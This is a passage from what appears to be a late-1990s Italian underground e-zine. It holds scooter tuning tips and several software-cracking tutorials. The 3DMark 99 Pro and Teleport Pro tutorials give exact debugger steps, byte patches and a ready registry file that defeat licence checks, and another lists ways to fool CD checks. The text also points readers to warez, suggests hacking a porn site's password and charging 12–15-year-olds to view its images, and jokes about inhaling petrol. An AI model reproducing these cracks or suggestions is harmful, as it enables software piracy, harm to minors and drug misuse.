cilindro).Adesso date una guardatina all' albero motore e controllate che
abbia la gabbia a rulli(se no provvedete a sostituirla).Rimontate tutto e se
volete fare una cosa fatta bene sostituite la candela con una di grado termico
superiore di 1-2 punti.

CARBURATORE:

Allora:stesso procedimento del motore per la pulizia,ma e' necessario farlo
molto + accuratamente e soffiando dell'aria compressa(se ce l'avete e' meglio)
in tutti i buchi e che trovate.Guardate il numero del getto del carburatore
(una grossa vite color oro)che dovrebbe essere un 74-76 e sostituitelo con uno
di 10 punti + grosso.

PACCO LAMELLARE:

E' quell'oggetto di forma quadrata con attaccate delle lamelle che si trova
tra i collettore e il cilindro.Quindi svitate le lamelle del pacco e
sostituitele con quelle da corsa che sono + leggere e meglio ancora se le
prendete in carbonio.

COLLETTORE DI SCARICO:

E'il tubo che collega il motore al carburatore e puo' essere o di plastica
dura o di ferro: dovete solo sostituirlo con uno + grosso (ma sembre con
l'imboccatura del 12).

FILTRO:

Sostituitelo con uno da gara.....ce ne sono di tutti i tipi....vi consiglierei
di sceglierlo a seconda frequenza con cui lo usate in una determinata stagione.
Adesso vi spiego meglio:da ottobre a maggio prendete un filtro abbastanza
chiuso (anche quello in metallo va bene) mentre per il periodo che va da
giugno a settembre potrete prendere un filtro aperto (vedi quelli in spugna).

VARIATORE:

Sostituitelo con uno da corsa quindi + leggero.

MASSETTE:

Sostituitele con altre da 3 g

CINGHIA:

Sostituitela con una da corsa + resistente e + leggera

FRIZIONE:

Sostituitela con una "regolabile" e lasciatela con le impostazioni di default

MOLLA DI CONTRASTO:

Fa parte della componentistica della frizione.Dovete sostituirla con una
Malossi (colore ROSSO) o se non la trovate, prendete la + dura.

MOLLETTINE:

Fanno parte della componentistica della frizione.Prendete le + dure che
riuscite a trovare

CARTER:

E' il coperchio che avete smontato per accedere al variatore e alla frizione.
Dunque qui le cose si complicano....dovete fare 4 buchi in alto a sinistra
(tre del diametro di 2.6 cm e il quarto di 2 cm) e tre buchi sulla destra
(due del diametro di 1.8 cm e uno di 1 cm). Poi copriteli semplicemente con un
po di colla e un po di spugna (ma attenzione;mettete la colla attorno al buco
e non sopra...senno' non servira' a niente..).

COSTO INDICATIVO DEI PEZZI DI RICAMBIO NECESSARI A QUESTO LAVORO:

-Cinghia e' 10.000
-Molla e' 10.000
-Mollettine e' 10.000
-Frizione e' 120.000
-Getto e' 1.000
-Lamelle e' 10.000
-Massette e' 10.000
-Variatore e' 50.000
-Filtro e' 20.000
-Collettore e' 30.000

Costo totale e' 270.000


P.S.:

Giusto che sono in tema di meccanica ne approfitto per dirvi una cosa che mi
fa sempre inca**are.
Quasi tutti pensano che la benzina senza piombo (verde) sia nociva per una
macchina o un motorino dove nel manuale sia prescritto di usare esclusivamente
benzina super(rossa).Insomma tutti credono che "sputtani" il motore.
Invece io vi dico dei motivi per cui comprare la benza verde:
-Costa 185 e' meno della rossa
-Non intasa la marmitta e lubrifica meglio le cose
-Inquina meno
-Quando siete senza droghe....vi fa svarionare + della rossa se ve la inalate
(by Kutt)
E solo un motivo per non usarla
-Diminuisce le prestazioni del 4% (wow)!

P.P.S.:

Ci sara' presto un update a questo articolo per quanto riguarda il discorso
centralina

bY PiNbALL
alan.g@flashnet.it
or #discomania

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ
²°°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛÛ°°°ÛÛ°°ÛÛÛÛÛÛÛÛ°°°²
²°°°ÛÛ°°°°ÛÛ°°ÛÛ²²²²ÛÛ°°ÛÛ²²²²ÛÛ°°ÛÛ°°°°ÛÛ°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛÛÛ°°ÛÛ°°ÛÛ°°°°°°°°°²
²°°°ÛÛ°°°°°°°°ÛÛÛÛÛÛÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°°°°°°°ÛÛÛÛ°°°°ÛÛ°°ÛÛ°ÛÛ°ÛÛ°°ÛÛ°°ÛÛÛÛ°°°²
²°°°ÛÛ°°°°ÛÛ°°ÛÛ°°ÛÛ°°°°ÛÛ°°°°ÛÛ°°ÛÛ°°°°ÛÛ°°ÛÛ°ÛÛ°°°ÛÛ°°ÛÛ°°ÛÛÛÛ°°ÛÛ°°°°ÛÛ°°°²
²°°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°°ÛÛÛ°°ÛÛ°°°°ÛÛ°°ÛÛÛÛÛÛÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°ÛÛ°°°ÛÛÛ°°ÛÛÛÛÛÛÛÛ°°°²
ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ COME CRACKARE UN PROGRAMMA ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Salve di nuovo a tutti, sono sempre Quequero, con questo articolo cerchero' di
insegnarvi a crackare un programma, in particolare attaccheremo e sproteggeremo
3D Mark 99 Pro.
Questo prog. altro non e' che un sofisticato benchmark per le applicazioni 3D,
ossia, misura le prestazioni della vostra scheda video (o meglio della vostra
amatissima Vudu2 ;).
Se installiamo il prog. reperibile sul sito http://www.3dmark.com vediamo che
senza registrazione non possiamo cambiare le opzioni e possiamo eseguire solo
il test di default, tutto cio' non ci piace vero? Bhe' penso di si altrimenti
non stareste a leggere questo articolo ;).
Dal momento che SpYmAsTeR ha fatto un'ottima introduzione al cracking sul
secondo numero di Newbies non staro' a dilungarmi sulle API di winzoz e sulle
altre cosette ma andro' direttamente al sodo.
----Aspettate che vado a cambiare l'acqua al pesce rosso di mio fratello ;)---

Let's go crack!!!

Allora installiamo tutto ed andiamo di filato nel box Register|Register
3DMark, ci vengono chiesti un nome ed un numero, a questo punto potremmo:
1) Sniffare il nostro numerino magico, solo che non e' professionaleeeeeeeee
2) Possiamo crackare il programmillo, ma non lo faremo!!!
3) Possiamo fare un keygenerator (troppo difficile per ora)
4) Possiamo fare quello che sto per scrivere, non vi viene nulla in mente eh?

Useremo un tecnica descritta da +ORC come ECHO crack, cioe' non faremo altro
che far comparire il numero seriale corretto al posto del solito messaggio
"Number incorrect" "Wrong password" ecc...

+ORC docet e ci dice: all'interno della maggior parte delle routine di
protezione c'e' un momento in cui appare nello stack l'echo del numero seriale
esatto, la locazione di questo echo varia anche se molto spesso si trova a +o-
90 byte da una delle locazioni nelle quali e' contenuto cio' che abbiamo
inserito (cioe' nome e numero), per trovare il numero basta solo dumpare la
memoria a quel l'indirizzo ed il gioco e' fatto, l'unico problema e' che
l'echo resta in memoria per pochissimo tempo, quindi dovremo far appello al
noto motto: carpe diem (come mi sento latino oggi ;)

Vediamo adesso se +ORC scrive kazzate ;))))), apriamo il menu di registrazione
del 3D Mark, inseriamo un nome (io usero' Quequero) e un numero (io uso sempre
666111666), con ctrl+d (^d) entriamo in softice (ce l'avete vero? Se no andate
al mio sito http://quequero.cjb.net e nella sezione dei Link troverete un sito
di warez molto veloce dal quale prelevare softice 3.24, nella sezione tools
potrete invece trovare W32DASM e l'hex-workshop un editor esadecimale insieme
a Hiew 6.02) mettiamo un breakpoint sulla funzione GetWindowTextA in questo
modo:
bpx getwindowtexta
la "A" indica al debugger che stiamo prendendo in esame la funzione a 32-bit e
non quella a 16.
Usciamo da Sice con F5 e premiamo invio, come ci aspettavamo Sice ci poppa
dritti in faccia, cosa si fa a questo punto? Si preme una volta F11 e 5 volte
F12, adesso dovreste trovarvi davanti questa sezione di codice:

**La "beggar off" e' il messaggio di password errata che ci danno i programmi**
quando inseriamo un numero a kazzo ;))))

:00405C87 E856E30800 Call 00493FE2
:00405C8C 8B4F64 mov ecx, dword ptr [edi+64] <----- Noi siamo qui
; Edi+64 e Ecx contengono
; il nostro nome
:00405C8F 8B41F8 mov eax, dword ptr [ecx-08]
:00405C92 85C0 test eax, eax <---Controlla che i box siano pieni
:00405C94 0F8493000000 je 00405D2D <----se e' non lo sono "Beggar off"
:00405C9A 8B4760 mov eax, dword ptr [edi+60] <---edi+60 = 666111666
:00405C9D 8B40F8 mov eax, dword ptr [eax-08]
:00405CA0 85C0 test eax, eax
:00405CA2 0F8485000000 je 00405D2D
:00405CA8 83F811 cmp eax, 00000011<---- ci sono 17 caratteri nel box
; del serial number ?
:00405CAB 741D je 00405CCA<---se si salta altrimenti "Beggar off"
:00405CAD 6A00 push 00000000
:00405CAF 6A00 push 00000000

* Possible Reference to String Resource ID=61598: "Incorrect registration
information. Please enter the correct..."
|
:00405CB1 689EF00000 push 0000F09E
:00405CB6 B950D44B00 mov ecx, 004BD450 <----Genera il messagebox della ;beggar off
:00405CBB E8E04E0400 call 0044ABA0
:00405CC0 50 push eax

Se non conoscete Sice vi dico che per far camminare la barra bianca si usa F10,
facciamola arrivare su " mov ecx, dword ptr [edi+64]" e scriviamo:
d edi+64 ;dump edi+64
vi appariranno una morra di numeri, voi dovrete prendere i primi 8 e dumparli
al contrario, cioe' se vi viene qualcosa del genere:

015F:xxxxxxxx EC 5B 91 00 11 87 F5 94 82 EC AB 90 00
015F:xxxxxxxx 84 58 F5 94 82 EC AB 91 40 11 81 87 11

ecc ecc ecc.....................
voi scriverete:

d 00915BEC ;d'accordo?

E vedrete apparire il vostro nome.
Andiamo ancora avanti con F10 e vediamo una strana istruzione:

:00405CA8 83F811 cmp eax, 00000011

In Assembly "cmp" significa "confronta" ed in particolare in questo caso vuol
dire: confronta 11 esadecimale con il registro eax (procuratevi la guida
italiana di Xoanon, sul mio sito oppure dove altro vi pare a voi).
Ora mi spieghero' meglio, il programma fa una verifica per vedere se nel campo
del numero seriale ci sono 17 caratteri (15 alfanumerici e due "-"), se non
ci sono l'istruzione successiva ci manda alla Beggar off, ora vi starete
chiedendo: Perche' se li' c'e' scritto 11 lui dice che il prog controlla se ci
sono 17 caratteri? Perche' 11 esadecimale equivale a 17 e per vederlo basta
scrivere in SoftIce.

? 11

hehe,ma andiamo avanti, se premiamo di nuovo F10 ci troveremo su questa linea:

:00405CAB 741D je 00405CCA

je vuol dire Jump if Equal, cioe' se l'istruzione precedente ha trovato 15
caratteri alfanumerici e 2 "-" nel campo del numero seriale allora procede al
controllo altrimenti ci manda alla beggar off.
Ricapitoliamo il tutto, prima il prg controlla la presenza di 17 caratteri, se
sono 17 procede, ma fermiamoci un momento,quando state con la barra di sice su

:00405CAB 741D je 00405CCA

vedrete a destra la scritta "no jump" cio' vuol dire che la funzione non
saltera', per ovviare al guaio cancelliamo tutti i breakpoint con:

bc*

mettiamone uno sull'istruzione "cmp" in questo modo:

bpx 015F:00405CA8 ;oppure clickiamo due volte sulla riga in questione, o
ancora premiamo F9 dopo aver clickato una volta sempre sul "cmp"

usciamo da sice con F5 ed inseriamo al posto di 666111666 12345-12345-12345,
ripremiamo invio e sice ci ripoppa in faccia.
Stavolta se andiamo sul je vediamo che c'e' scritto "jump", bene, premiamo F10
e vediamo che "saltiamo" ;)))) e ci dovremmo trovare davanti a questo:

:00405CCA E8D1FBFFFF call 004058A0
:00405CCF 8B7760 mov esi, dword ptr [edi+60]
* Referenced by a (U)nconditional or (C)onditional Jump at Address:
|:00405CF4(C)
|
:00405CD2 8A10 mov dl, byte ptr [eax] <--BINGO!!! Eax contiene il #
:00405CD4 8A1E mov bl, byte ptr [esi]
:00405CD6 8ACA mov cl, dl
:00405CD8 3AD3 cmp dl, bl
:00405CDA 751E jne 00405CFA
:00405CDC 84C9 test cl, cl
:00405CDE 7416 je 00405CF6
:00405CE0 8A5001 mov dl, byte ptr [eax+01]
:00405CE3 8A5E01 mov bl, byte ptr [esi+01]
:00405CE6 8ACA mov cl, dl
:00405CE8 3AD3 cmp dl, bl

Facciamo una volta step ed esaminiamo eax, (d eax) BINGO!!! Contiene il numero
che Cercavamo youhuuuuuuuuuu.
Allora cosa possiamo fare? La "Call 004058A0" all'indirizzo 00405CCA genera il
nostro ECHO, mentre "mov ecx, 004BD450" all'indirizzo 00405CB6 genera il
messagebox con su scritto "Testa di kazzo hai sbagliato numero". Basta ora
cambiare la chiamata "call 0044ABA0" in "call 004058A0" e sostituire "mov
ecx, 004BD450" con "mov eax, 004BB4A0".
Non avete capito una mazza vero? Si che e' vero, ora vi esplico tutto ;)
Allora, cio' che abbiamo fatto e' stato cambiare la chiamata dopo l'idirizzo
00405CB6 in modo da renderla uguale a quella che genera il numero (questa
chiamata mette il seriale in eax),poi abbiamo cambiato l'istruzione "mov
ecx, 004BD450" in modo da mettere in eax il valore calcolato dalla chiamata
call 004BB4A0, l'istruzione mov,eax 004BB4A0 quindi crea un messagebox con
dentro scritto il numero seriale vero.
Ma come si fa a cambiare i byte? Bella domanda, la soluzione e' semplice, basta
scrivere: "a xxxxxxxx" dove xxxxxxxx rappresenta l'indirizzo della riga da
cambiare, quindi per modificare la chiamata dovremo scrivere:

a call 0044ABA0 invio
call 004058A0 invio

Cosi' via per le altre istruzioni. Dal momento che tutto cio' che facciamo in
SoftIce e' solo momentaneo, dobbiamo fare in modo di patchare definitivamente
il programma, ma come? Aprite sice e scrivete "code on" vedrete apparire tanti
numerini, quelli sono i numeri decimali che rappresentano il codice assembly,
voi provate a cambiare di nuovo byte come descritto sopra, segnatevi su un
foglio come erano prima del cambiamento e come erano dopo, l'hex-workshop
(che a mio parere e' il migliore editor esadecimale), cercate i byte prima del
cambiamento e cambiateli come sono cambiati in softice, per agevolarvi ecco i
byte gia' cambiati da me, forse capirete meglio:

Sostituire:
000050B0 B950D44B00E8E04E0400
con:
000050B0 B8A0B44B00E8E0FBFFFF

Questi sono opzionali:
0004C410 83F8040F84930000008B0EE8
000050A0 85C00F848500000083F811741D6A00
con:
0004C410 83F8049090909090908B0EE8
000050A0 85C090909090909083F81190906A00

Se cambiate i byte come vi ho indicato io per far funzionare il crack dovrete
per forza inserire una lettera e/o un numero nei campi "nome" e "serial",
noppando (90 in esadecimale significa NOP cioe' no operation) anche quelli
opzionali dovrete solo premere invio.

Ciauzzzzzzzz da Quequero
P.S.
Ringrazio Kill3xx che ultimamente e' stato molto disponibile con me e YanOrel
che mi ha gentilmente linkato sul suo sito oltre ad aver inserito alcuni miei
crack nell'omonima sezione
Ariciauzzzzzzzzzzzzzzzzzz
P.S.S
Per bestemmie, insulti, scambi di indirizzi porno o altro scrivetemi a
Balckfireshell@hotmail.com e se vi va' andate su http://quequero.cjb.net
(da quello che ho saputo e' il piu' grande sito di cracking italiano...
quindi ;)

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ PRINCIPI DI BASE X CRACKARE UN GIOCHINO ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Ciao ragazzi riekkoci ad un arikolaccio di AnArChY, vediamo alkuni principi di
base (molto di base) x crakkare un giukino.

Allora voi volete (disperatamente) l'ultimo titolo uscito, ci sono
essenzialmente 3 modi per averlo:

1) Lekkare esageratemente il culo ai genitori oppure fare un giro da TUTTI
i parenti
2) Andare dal pirata di fiducia e farselo copiare x poke lire
3) PROVARE a crakkarlo

Bene i primi 2 non mi sembrano il max, quindi passiamo alla terza
Allora prima kosa installatevi sull'HD la maggior parte di gioco possibile (in
Syndacate Wars e molti altri titoli FUNZIONA) se siete sfigati (normalmente
succede sempre kosi') ci sono 2 possibilita':
1) il gioco prende da CD musica e animazioni
2) il gioco usa il lettore come protezione

Il primo passo da fare a questo punto controllare se sulla root del CD
c'e' qualche file strano, molto corto, come disk.id, cdrom.inf, che il
programma cerca quando viene lanciato...copiando questo file nella
directory del gioco a volte si puo' illudere il programma che sta girando
sul CD-ROM (hihhi avevo fottuto Dark Force cosi')...se questo sistema non
funziona allora bisogna ricorrere alla creazione di una unita' illusoria...
Per fare questo potete usare il comando SUBST; usando
SUBST D: C:/TEMP in questo modo l'unita' D sara' identificata colla dir TEMP
purtroppo......i programmatori non sono (tanto) stupidi e spesso il gioco vi
sgama :((
Se non funzia nemmeno kosi' provate col FAKECD (lo trovate sul sito di
newbies), ke poi non e' altro ke l'evoluzione del SUBST
Se non funziona nemmeno kosi.......avete 2 possibilita'
1) Leggetevi l'art di ki e' veramente capace di crakkare
2) ....sob....mi spiace dirvelo....ma...sbattetevi a cercare un crack sulla
rete oppure chiedete su IRC

BBBBYYYYEEEEZZZZZ a tutti e non insultatemi troppo per tutte ste banalita'
AnArChY

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ CRACKARE TELEPORT PRO 1.29 ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Ciao raga, sono l'onnipresente Quequero, in questo articolo vi insegnero' a
crackare il mitico Teleport Pro 1.29, per chi non lo sapesse il Teleport e'
un programmillo che grabba i siti, in pratica legge il sito dalla rete e ve
lo copia pari pari sul disco duro con tutti i file e tutto quello che e'
linkato, pensate che carino scaricarsi il sito di Quequero e guardarselo
offline ;))))
Meglio ancora si puo' usare per grabbare un sito porno hehehehehe, hackatene
uno oppure cercate una pass sulla rete, inserite l'user id e la pass nel
Teleport, selezionate il tipo di file che volete grabbare (*.jpg, *.jpeg
ecc..) e avviatelo, dopo cira 45-50 minuti avrete un bel sitozzo sul vostro
amato picci', per cosa lo potreste usare? Per farvi le seghe direte voi, io
rispondero' che per quello ci sono le fidanzate (che tralaltro fanno moooolto
ma moooolto di piu' ;) e che lo potrete usare per lucrare danaro, mi spiego
meglio, fate venire qualche bambinetto a casa vostra (dai 12 ai 15 anni
funziona sempre), fatevi dare 10-12 mila lire e fatelo stare davanti al
computer per 20-25 minuti, poi lo manderete via, cosi' lui sara' felice e
arra**to mentre voi avrete le vostre belle 10k che + altre 10k fanno 20k e
con quelle ci comprerete cio' che vorrete, canne, sigarette, vino,
preservativi, insomma non ci servo io per dirvi cosa farci ;)))
Mmmmmm credo di essere andato fuori tema, aspettate che leggo di cosa doveva
parlare l'articolo............Ahhhhh ora rimembro, dovevo insegnarvi a
crackare il teleport, allora let'go crack.
Aprite il beneamato programma, andate in help|register ed inserite un nome,
una compagnia (non serve ma dovete inserire o un carattere oppure uno spazio)
ed un numero (questo deve essere un numero come 666111666 non mettete "ciao"
altrimenti non funziona).
^D per entrare in softice, mettiamo un bp su getwindowtexta (bpx
getwindowtexta) e premiamo F5, facciamo click su ok e sice poppa sul monitor,
visto che adesso sta' controllando il nome ripremiamo F5, ora controlla il
numero (ve lo avevo detto che company non serviva a un cavolo ;) e premete F11.
Arrivati in questo punto dovreste avere qualcosa del genere:

:00449D80 FF15C0334600 Call [User32!GetWindowTextA]
:00449D86 8B4D10 mov ecx, [ebp+10]
:00449D89 6AFF push FF
:00449D8B E83A93FFFF call 004430CA
:00449D90 EB0B jmp 00449D9D

se non e' cosi' riprovate hihihi ;)))
A questo punto cancelliamo tutti i bp e mettiamone uno sulla chiamata al
l'indirizzo 00449D8B (bpx xxxx:00449D8B), usciamo da sice e ripremiamo "ok",
se poppa significa che e' andato tutto bene. Adesso premiamo 3 volte F12 e
dovremo avere davanti questo codice:

:004246CD 33DB xor ebx, ebx < --- Arriviamo qui
:004246CF 6A0A push 0000000A
:004246D1 53 push ebx
:004246D2 FFB6DD000000 push dword ptr [esi+000000DD]
:004246D8 E883620000 call 0042A960
:004246DD 8BE8 mov ebp, eax
:004246DF A15C4C4800 mov eax, dword ptr [00484C5C]
:004246E4 83C40C add esp, 0000000C
:004246E7 38989F020000 cmp byte ptr [eax+0000029F], bl
:004246ED 0F8437010000 je 0042482A
:004246F3 3BEB cmp ebp, ebx < --- In eax il vero seriale
:004246F5 BFD49A4700 mov edi, 00479AD4
:004246FA 7459 je 00424755 < --- salta se e' errato
:004246FC FFB6D5000000 push dword ptr [esi+000000D5]

Premete 15 volte F10 (in pratica fino a quando la barra bianca va' a finire
sopra a "cmp ebp, eax".
Ci siete? Credo di si, se qualche cosa cambia anche leggermente e' normale.
Vedete l'istruzione all'indirizzo 004246F3 (quella che vi ho fatto
raggiungere)?
Questa verifica se il codice inserito da noi e' esatto, se ricordate, "cmp"
significa "compare" cioe' "confronta", quindi significa che per controllare
il nostro serial lo deve verificare con un altro e "l'altro" si trova in eax,
per vederlo basta scrivere:

? eax

adesso appariranno tre gruppi di numeri, il primo e' il valore di eax in
esadecimale, il secondo e' quello decimale ed il terzo e' quello ASCII, voi
dovrete prendere il secondo e provare, funziona? A me si, non sto qui a
raccontarvi come si cracka il prg perche' e' un po' difficilino pero' date uno
sguardo a questo codice:

REGEDIT4

[HKEY_CURRENT_USER\Software\Tennyson Maxwell\Teleport Pro\User]
"Company"="My House"
"Name"="Quequero"
"Registration"=dword:4efaf094

cosa ci dovete fare?
Prendete un comune file di testo, ci incollate quel codice e rinominate il
file come "crack.reg" o come vi pare purche' sia .reg, avviatelo ed ecco che
il Teleport si registra a vostro nome (ovviamente dovrete sostituire sia il
nome che il numero).
Quequero

ÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏÏ

ÉÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ»
ºÚÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ¿º
º³ CRACKING, QUESTO SCONOSCIUTO ³º
ºÀÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÙº
ÈÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍͼ

Chi di voi non ha mai scaricato un crack? Tu, tu e tu, FUORI! E chi di voi non
si e' mai chiesto come venissero fatti questi utilissimi programmini? Ok, voi
che avete alzato la mano, fuori anche voi! Chi di voi non sa cos'e'
l'assembler, una decompilazione, un offset o un hex-editor? Ok, fuori e non
rientrate finche' non vi sarete documentati. Fatta questa breve premessa,
bisogna iniziarne un'altra :P
Chi vuole diventare un cracker deve sapere le basi. Tutti possono dire "io so
cosa e' un crack", ma il cracking vero non e' fatto a scopo di lucro, bensi'
solo per sfida o per poter testare un programma a fondo senza essere annoiati
da schermate scassapalle con scritto "Registrami!". Se un programma vi piace,
COMPRATEVELO! Per esempio, io Windows98 non l'ho comprato ;) ma Commandos si'!
Inoltre se volete crackare qualcosa, scaricatevi dei programmi vecchiotti e
crackate quelli, per un motivo che vi spieghero' subito. Gli schemi di
protezione + o - sono sempre gli stessi: scrivi una password, ammacca OK
appena spunta il nag screen, ecc. Mai nessuno progetta delle vere e proprie
protezioni sicure dai cracker. Percio' sapendo come crackare le protezioni
piu' vecchie, potrete crackare quelle piu' nuove, avendo la necessaria base
di conoscenza, visto che le variazioni rispetto alle protezioni piu' vecchie
sono minime. Inoltre cercate di crackare dei giochi. Infatti per i giochi
mettono SEMPRE protezioni piu' difficili delle altre. Queste protezioni una
volta "passate di moda" vengono utilizzate per i comuni programmi shareware.
Per fare un esempio ipotetico potreste trovare la protezione di Commandos
(che si basa sull'inserimento nel CD originale di file fasulli delle modeste
dimensioni di 1 Gb l'uno) nel Photshop 6.0 (che ancora non esiste). Sapendo
quindi come si cracka, sarete i primi a rilasciare un crack! Bello no ;) ?
Comunque, passiamo in rassegna i principali tipi di protezione e il loro modo
di sprotezione:

1) Protezioni con password, serial, o altri codici numerici, alfanumerici o
letterali
Metodo di sprotezione: Basta disassemblare il tutto e invertire i jump, vi
spieghero' cosa vuol dire nel tutorial sul cracking
2) Protezioni con Nag-Screen
Bisogna trovare la routine che chiama il Nag e disabilitarla col comando NOP
3) Protezioni con contatori di tempo o di giorni
Bisogna trovare il metodo in base al quale fanno salire il contatore. Puo'
essere il compare tra una variabile che indica il tempo massimo e il tempo
attuale, o altre schifezze...
4) Protezioni su CD o Diskette Cheking, ossia controllo del CD o del dischetto
nel drive
Basta NOPpare le chiamate ai controlli sui drive o eliminarle del tutto dal
codice.
5) Protezioni basate su Dongle (chiave hardware)
Ehm...ca**o queste sono difficilotte da crackare, perche' bisogna o emulare
le funzioni del dongle via software, o peggio ancora, sono incrackabili se
non clonando il dongle...la nostra fortuna e' che produrre chiavi hardware
costa molto alle software house, che per ridurre i costi e fare maggiori
guadagni si limitano alle pass...tutto a nostro favore ihihihih...
6) Protezioni che disabilitano alcune funzioni del software
Un tipo di protezione che, siceramente, non ho mai incontrato. Dai pochi
documenti che ho letto su questo argomento ne ho dedotto che sono a volte
facili, a volte difficili, ma sinceramente non capisco come si possano
attivare delle funzioni...muaH...

Io, dal basso della mia esperienza (che vi credete, sono un newbie anche io!!
:), posso essere credibile solo per il primo tipo di protezioni, visto che
sono le piu' facili, e visto anche che tutti gli altri tipi richiedono il
Soft-Ice (che comunque oggi 5/3/1999 mi son fatto passare, grazie N0bodY88
:). Allora, prima di tutto ogni cracker ha i suoi attrezzi. Come ogni bravo
artigiano ha seghe, martelli, pialle noi abbiamo disassemblatori, debuggers,
hex-editors. I primi servono a disassemblare un programma, ossia decompilare
un programma in modo da portarlo in assembler. Avere il listato di un
programma in assembler e' utilissimo, visto che grazie al WDasm 8.93
(ovviamente crackato ;), cioe' il nostro disassemblatore di fiducia, possiamo,
grazie ad alcune ricerche facili e veloci, scoprire il serial, oppure fare in
modo di editare il programma cosi' che qualunque pass noi mettiamo il
programma la accetta. Immaginatevi che bello:
"Winxxxx Registered to: <inserisci il tuo nome o nick> Serial: i'm an evil
cracker and hax0r" che figurone con gli amici no? Il debugger e' una cosa
ESSENZIALE nei crack piu' difficili. Infatti grazie al debugger (il migliore
e' senza dubbio il Soft-Ice) possiamo impostare dei Breakpoint detti in gergo
BPX, ossia delle "interruzioni su procedura", ossia interruzioni che si
verificano al momento di inserire il codice o altro. Per esempio se noi al
prompt nostro Soft-Ice scriviamo "BPX GetWindowTextA" appena verra' chiamata
la procedura GetWindowTextA (che e' una procedura di una API di Windows, che
serve a prendere un testo da una dialog) il debugger blocchera' tutto
mostrandovi quello che il programma da crackare stava per fare...cosi' che
voi possiate agire di conseguenza :) Gli hex-editors, beh, se non li conoscete
ritiratevi, il mestiere di cracker non fa per voi. Ma passiamo adesso al
tutorial!!!

TUTORIAL No.1: COME CRACKARE IL WINRAR95.EXE (VER 2.03)
Mmm, la prima cosa da fare e' procurarsi i necessari tools. Andate al sito
www.crackstore.com e nella sezione tools scaricatevi il Wdasm 8.93 e l'Hiew
